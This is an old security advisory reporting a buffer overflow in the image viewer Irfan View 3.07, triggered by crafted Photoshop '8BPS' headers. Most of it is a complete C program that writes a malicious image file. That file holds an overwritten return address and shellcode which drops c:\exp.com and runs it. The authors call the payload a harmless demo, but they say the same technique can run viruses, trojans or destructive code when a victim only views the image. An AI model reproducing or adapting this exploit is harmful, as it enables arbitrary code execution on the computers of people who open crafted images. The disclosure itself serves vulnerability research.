The popular Image viewer "Irfan View32" contains the buffer overflow problem, this problem exists in the handling of Adobe Photoshop image file. Irfan view checks the image type by the image header, if "8BPS" pattern is found in the header, Irfan view judges this file as Photo Shop image. We think the overflow happens at the handling of reading this marker. You can see the GPF dialog box by the following file. 8BPSaaaaaaaaaaaaaa .... long 'a' #You can make this file by notepad.exe This overflow is exploitable if the appropriate value is stored in the stack area, any codes such as virus, trojans, destruction code, which is stored in the image file can be executed. This fact means that the danger also exists on downloding the image files and viewing them. Of course, there is a possibility of such danger also in other software such as movie players, audio players. We coded the following sample codes. This code generates the jpg file which contains the exploit code that generates "exp.com" in "c:\" and executes it("exp.com" is a simple demo program, there is no danger). This is tested on Japanese Windows98 only. --- /*============================================================================= Irfan View 3.07 Exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #include #define MAXBUF 0x22e0 #define RETADR 0x31E #define FAKE_ADR 0x80101010 // Writable buffer pointer #define JMPESP_ADR 0xbffca4f7 // You have to change this value // for non-Japanese Windows98. #define HEAD "8BPS\0" unsigned char exploit_code[300]={ 0xEB,0x4F,0x5F,0x32,0xC0,0x88,0x47,0x0A,0x88,0x47,0x10,0x88,0x47,0x17,0x88,0x47, 0x1E,0x88,0x47,0x23,0x88,0x47,0x26,0x88,0x47,0x2D,0x88,0x47,0x3C,0x57,0xB8,0x50, 0x77,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xDB,0xB3,0x0B,0x8B,0xC7,0x03,0xC3,0x50, 0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x33,0xDB,0xB3,0x24,0x8B,0xC7, 0x03,0xC3,0x50,0xB3,0x32,0x8B,0xC7,0x03,0xC3,0x50,0xFF,0xD1,0x89,0x47,0x2E,0xEB, 0x02,0xEB,0x71,0x33,0xDB,0xB3,0x18,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E, 0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x8B,0x47,0x2E,0x50,0x33,0xC0,0xB0,0x03,0x90,0x90, 0x50,0xB0,0x01,0x50,0x33,0xDB,0xB3,0x3D,0x03,0xDF,0x53,0xFF,0xD1,0x33,0xDB,0xB3, 0x11,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0x5F, 0x2E,0x53,0xFF,0xD0,0x33,0xDB,0xB3,0x27,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28, 0x6E,0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0xB3,0x32,0x8B,0xCF,0x03,0xCB,0x51,0xFF,0xD0, 0x33,0xDB,0x53,0xB3,0x1F,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF, 0xFF,0xD0,0xFF,0xD0,0xE8,0x39,0xFF,0xFF,0xFF,0x00 }; // "exp.com" unsigned char exploit_data[1000]={ 0xb0,0x13,0xcd,0x10,0xb0,0x0f,0xfe,0xc0,0xb4,0x0c,0xcd,0x10,0x03,0xd1,0x41,0x3c, 0x20,0x77,0xf1,0xeb,0xf1,0x00 }; int GetProcAddress_fcp[4]={0x32,0x5e,0x88,0xbc}; char string_buffer[1000] ="msvcrt.dll_fopen_fclose_fwrite_exit_wb_system_****"; char filename[100] = "c:\\exp.com"; main(int argc,char *argv[]) { unsigned char buf[MAXBUF],l1,l2; unsigned int ip,p1,p2,i; FILE *fp; if (argc<2){ printf("usage : %s outputfile\n",argv[0]); exit(1); } memset(buf,0x90,MAXBUF); buf[MAXBUF]=0; memcpy(buf,HEAD,4); ip=JMPESP_ADR; buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; buf[RETADR+6]=0xeb; buf[RETADR+7]=0x04; ip=FAKE_ADR; buf[RETADR+8]=ip&0xff; buf[RETADR+9]=(ip>>8)&0xff; buf[RETADR+10]=(ip>>16)&0xff; buf[RETADR+11]=(ip>>24)&0xff; p1=(unsigned int)LoadLibrary; p2=(unsigned int)GetProcAddress; exploit_code[0x1f]=p1&0xff; exploit_code[0x20]=(p1>>8)&0xff; exploit_code[0x21]=(p1>>16)&0xff; exploit_code[0x22]=(p1>>24)&0xff; for (i=0;i<4;i++){ exploit_code[GetProcAddress_fcp[i] ]=p2&0xff; exploit_code[GetProcAddress_fcp[i]+1]=(p2>>8)&0xff; exploit_code[GetProcAddress_fcp[i]+2]=(p2>>16)&0xff; exploit_code[GetProcAddress_fcp[i]+3]=(p2>>24)&0xff; } l1=strlen(filename)+strlen(string_buffer); l2=strlen(exploit_data); strcat(string_buffer,filename ); strcat(string_buffer,"_" ); strcat(string_buffer,exploit_data ); strcat(exploit_code, string_buffer ); exploit_code[0x1c] = l1; exploit_code[0x6d] = l2; exploit_code[0x77] = l1+1; memcpy(buf+RETADR+12,exploit_code,strlen(exploit_code)); if ((fp=fopen(argv[1],"wb"))==NULL){ printf("Can not write file '%s'\n",argv[1]); exit(1); } fwrite(buf,1,MAXBUF,fp); fclose(fp); printf("Done.\n"); return FALSE; } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com